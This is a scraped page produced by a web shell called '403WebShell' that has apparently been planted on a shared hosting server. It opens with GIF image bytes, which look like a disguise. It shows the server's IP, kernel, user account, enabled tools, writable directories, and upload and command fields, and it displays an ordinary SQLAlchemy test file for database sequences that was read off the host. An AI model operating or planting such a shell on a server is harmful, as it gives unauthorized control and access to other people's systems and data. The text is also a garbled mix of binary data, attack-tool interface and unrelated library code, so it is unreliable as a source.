GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/hc_python/lib/python3.12/site-packages/sqlalchemy/testing/suite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/hc_python/lib/python3.12/site-packages/sqlalchemy/testing/suite/test_sequence.py
# testing/suite/test_sequence.py
# Copyright (C) 2005-2025 the SQLAlchemy authors and contributors
# <see AUTHORS file>
#
# This module is part of SQLAlchemy and is released under
# the MIT License: https://www.opensource.org/licenses/mit-license.php
# mypy: ignore-errors

from .. import config
from .. import fixtures
from ..assertions import eq_
from ..assertions import is_true
from ..config import requirements
from ..provision import normalize_sequence
from ..schema import Column
from ..schema import Table
from ... import inspect
from ... import Integer
from ... import MetaData
from ... import Sequence
from ... import String
from ... import testing


class SequenceTest(fixtures.TablesTest):
    __requires__ = ("sequences",)
    __backend__ = True

    run_create_tables = "each"

    @classmethod
    def define_tables(cls, metadata):
        Table(
            "seq_pk",
            metadata,
            Column(
                "id",
                Integer,
                normalize_sequence(config, Sequence("tab_id_seq")),
                primary_key=True,
            ),
            Column("data", String(50)),
        )

        Table(
            "seq_opt_pk",
            metadata,
            Column(
                "id",
                Integer,
                normalize_sequence(
                    config,
                    Sequence("tab_id_seq", data_type=Integer, optional=True),
                ),
                primary_key=True,
            ),
            Column("data", String(50)),
        )

        Table(
            "seq_no_returning",
            metadata,
            Column(
                "id",
                Integer,
                normalize_sequence(config, Sequence("noret_id_seq")),
                primary_key=True,
            ),
            Column("data", String(50)),
            implicit_returning=False,
        )

        if testing.requires.schemas.enabled:
            Table(
                "seq_no_returning_sch",
                metadata,
                Column(
                    "id",
                    Integer,
                    normalize_sequence(
                        config,
                        Sequence(
                            "noret_sch_id_seq", schema=config.test_schema
                        ),
                    ),
                    primary_key=True,
                ),
                Column("data", String(50)),
                implicit_returning=False,
                schema=config.test_schema,
            )

    def test_insert_roundtrip(self, connection):
        connection.execute(self.tables.seq_pk.insert(), dict(data="some data"))
        self._assert_round_trip(self.tables.seq_pk, connection)

    def test_insert_lastrowid(self, connection):
        r = connection.execute(
            self.tables.seq_pk.insert(), dict(data="some data")
        )
        eq_(
            r.inserted_primary_key, (testing.db.dialect.default_sequence_base,)
        )

    def test_nextval_direct(self, connection):
        r = connection.scalar(self.tables.seq_pk.c.id.default)
        eq_(r, testing.db.dialect.default_sequence_base)

    @requirements.sequences_optional
    def test_optional_seq(self, connection):
        r = connection.execute(
            self.tables.seq_opt_pk.insert(), dict(data="some data")
        )
        eq_(r.inserted_primary_key, (1,))

    def _assert_round_trip(self, table, conn):
        row = conn.execute(table.select()).first()
        eq_(row, (testing.db.dialect.default_sequence_base, "some data"))

    def test_insert_roundtrip_no_implicit_returning(self, connection):
        connection.execute(
            self.tables.seq_no_returning.insert(), dict(data="some data")
        )
        self._assert_round_trip(self.tables.seq_no_returning, connection)

    @testing.combinations((True,), (False,), argnames="implicit_returning")
    @testing.requires.schemas
    def test_insert_roundtrip_translate(self, connection, implicit_returning):
        seq_no_returning = Table(
            "seq_no_returning_sch",
            MetaData(),
            Column(
                "id",
                Integer,
                normalize_sequence(
                    config, Sequence("noret_sch_id_seq", schema="alt_schema")
                ),
                primary_key=True,
            ),
            Column("data", String(50)),
            implicit_returning=implicit_returning,
            schema="alt_schema",
        )

        connection = connection.execution_options(
            schema_translate_map={"alt_schema": config.test_schema}
        )
        connection.execute(seq_no_returning.insert(), dict(data="some data"))
        self._assert_round_trip(seq_no_returning, connection)

    @testing.requires.schemas
    def test_nextval_direct_schema_translate(self, connection):
        seq = normalize_sequence(
            config, Sequence("noret_sch_id_seq", schema="alt_schema")
        )
        connection = connection.execution_options(
            schema_translate_map={"alt_schema": config.test_schema}
        )

        r = connection.scalar(seq)
        eq_(r, testing.db.dialect.default_sequence_base)


class SequenceCompilerTest(testing.AssertsCompiledSQL, fixtures.TestBase):
    __requires__ = ("sequences",)
    __backend__ = True

    def test_literal_binds_inline_compile(self, connection):
        table = Table(
            "x",
            MetaData(),
            Column(
                "y", Integer, normalize_sequence(config, Sequence("y_seq"))
            ),
            Column("q", Integer),
        )

        stmt = table.insert().values(q=5)

        seq_nextval = connection.dialect.statement_compiler(
            statement=None, dialect=connection.dialect
        ).visit_sequence(normalize_sequence(config, Sequence("y_seq")))
        self.assert_compile(
            stmt,
            "INSERT INTO x (y, q) VALUES (%s, 5)" % (seq_nextval,),
            literal_binds=True,
            dialect=connection.dialect,
        )


class HasSequenceTest(fixtures.TablesTest):
    run_deletes = None

    __requires__ = ("sequences",)
    __backend__ = True

    @classmethod
    def define_tables(cls, metadata):
        normalize_sequence(config, Sequence("user_id_seq", metadata=metadata))
        normalize_sequence(
            config,
            Sequence(
                "other_seq",
                metadata=metadata,
                nomaxvalue=True,
                nominvalue=True,
            ),
        )
        if testing.requires.schemas.enabled:
            normalize_sequence(
                config,
                Sequence(
                    "user_id_seq", schema=config.test_schema, metadata=metadata
                ),
            )
            normalize_sequence(
                config,
                Sequence(
                    "schema_seq", schema=config.test_schema, metadata=metadata
                ),
            )
        Table(
            "user_id_table",
            metadata,
            Column("id", Integer, primary_key=True),
        )

    def test_has_sequence(self, connection):
        eq_(inspect(connection).has_sequence("user_id_seq"), True)

    def test_has_sequence_cache(self, connection, metadata):
        insp = inspect(connection)
        eq_(insp.has_sequence("user_id_seq"), True)
        ss = normalize_sequence(config, Sequence("new_seq", metadata=metadata))
        eq_(insp.has_sequence("new_seq"), False)
        ss.create(connection)
        try:
            eq_(insp.has_sequence("new_seq"), False)
            insp.clear_cache()
            eq_(insp.has_sequence("new_seq"), True)
        finally:
            ss.drop(connection)

    def test_has_sequence_other_object(self, connection):
        eq_(inspect(connection).has_sequence("user_id_table"), False)

    @testing.requires.schemas
    def test_has_sequence_schema(self, connection):
        eq_(
            inspect(connection).has_sequence(
                "user_id_seq", schema=config.test_schema
            ),
            True,
        )

    def test_has_sequence_neg(self, connection):
        eq_(inspect(connection).has_sequence("some_sequence"), False)

    @testing.requires.schemas
    def test_has_sequence_schemas_neg(self, connection):
        eq_(
            inspect(connection).has_sequence(
                "some_sequence", schema=config.test_schema
            ),
            False,
        )

    @testing.requires.schemas
    def test_has_sequence_default_not_in_remote(self, connection):
        eq_(
            inspect(connection).has_sequence(
                "other_sequence", schema=config.test_schema
            ),
            False,
        )

    @testing.requires.schemas
    def test_has_sequence_remote_not_in_default(self, connection):
        eq_(inspect(connection).has_sequence("schema_seq"), False)

    def test_get_sequence_names(self, connection):
        exp = {"other_seq", "user_id_seq"}

        res = set(inspect(connection).get_sequence_names())
        is_true(res.intersection(exp) == exp)
        is_true("schema_seq" not in res)

    @testing.requires.schemas
    def test_get_sequence_names_no_sequence_schema(self, connection):
        eq_(
            inspect(connection).get_sequence_names(
                schema=config.test_schema_2
            ),
            [],
        )

    @testing.requires.schemas
    def test_get_sequence_names_sequences_schema(self, connection):
        eq_(
            sorted(
                inspect(connection).get_sequence_names(
                    schema=config.test_schema
                )
            ),
            ["schema_seq", "user_id_seq"],
        )


class HasSequenceTestEmpty(fixtures.TestBase):
    __requires__ = ("sequences",)
    __backend__ = True

    def test_get_sequence_names_no_sequence(self, connection):
        eq_(
            inspect(connection).get_sequence_names(),
            [],
        )

Youez - 2016 - github.com/yon3zu
LinuXploit